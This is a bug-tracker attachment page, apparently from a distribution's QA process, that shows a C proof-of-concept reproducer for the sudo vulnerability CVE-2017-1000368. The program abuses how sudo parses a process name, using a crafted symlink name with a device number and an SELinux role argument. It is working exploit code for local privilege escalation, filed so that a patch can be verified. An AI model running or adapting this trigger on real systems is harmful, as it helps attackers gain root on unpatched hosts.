Attachment 727965 Details for Bug 1042146

QA reproducer

CVE-2017-1000368.c (text/x-csrc), 2.04 KB, created by Vítězslav Čížek on 2017-06-07 12:03:42 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Vítězslav Čížek

Created: 2017-06-07 12:03:42 UTC

Size: 2.04 KB

patch

obsolete

>/*
> * Copyright (C) 2017 Qualys, Inc.
> *
> * This program is free software: you can redistribute it and/or modify
> * it under the terms of the GNU General Public License as published by
> * the Free Software Foundation, either version 3 of the License, or
> * (at your option) any later version.
> *
> * This program is distributed in the hope that it will be useful,
> * but WITHOUT ANY WARRANTY; without even the implied warranty of
> * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> * GNU General Public License for more details.
> *
> * You should have received a copy of the GNU General Public License
> * along with this program.  If not, see <http://www.gnu.org/licenses/>.
> */
>
>#define _GNU_SOURCE
>#include <dirent.h>
>#include <errno.h>
>#include <fcntl.h>
>#include <limits.h>
>#include <paths.h>
>#include <pty.h>
>#include <sched.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <sys/inotify.h>
>#include <sys/resource.h>
>#include <sys/stat.h>
>#include <sys/time.h>
>#include <sys/types.h>
>#include <sys/wait.h>
>#include <unistd.h>
>
>#define SUDO_BINARY "/usr/bin/sudo"
>#define SUM_BINARY "/usr/bin/sum"
>#define SELINUX_ROLE "unconfined_r"
>
>#define die() do { \
>    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
>    exit(EXIT_FAILURE); \
>} while (0)
>
>int
>main(const int my_argc, const char * const my_argv[])
>{
>    if (my_argc != 2) die();
>    char comm[PATH_MAX];
>    struct stat sbuf;
>    if (stat(my_argv[1], &sbuf)) die();
>    if (!S_ISCHR(sbuf.st_mode)) die();
>    if (sbuf.st_rdev <= 0) die();
>
>    if ((unsigned int)snprintf(comm, sizeof(comm), ")     %lu \n", (unsigned long)sbuf.st_rdev)
>                                  >= sizeof(comm)) die();
>	printf("%s", comm);
>    if (symlink(SUDO_BINARY, comm)) die();
>
>    char *username = getlogin();
>
>    int argc = 7;
>    char ** const argv = calloc(argc + 1, sizeof(char *));
>    argv[0] = comm;
>    argv[1] = "-r";
>    argv[2] = SELINUX_ROLE;
>    argv[3] = "-u";
>    argv[4] = username;
>    argv[5] = SUM_BINARY;
>    argv[6] = "--\nHELLO\nWORLD\n";
>    execve(*argv, argv, NULL);
>    die();
>}

Actions: View

Attachments on bug 1042146: 727965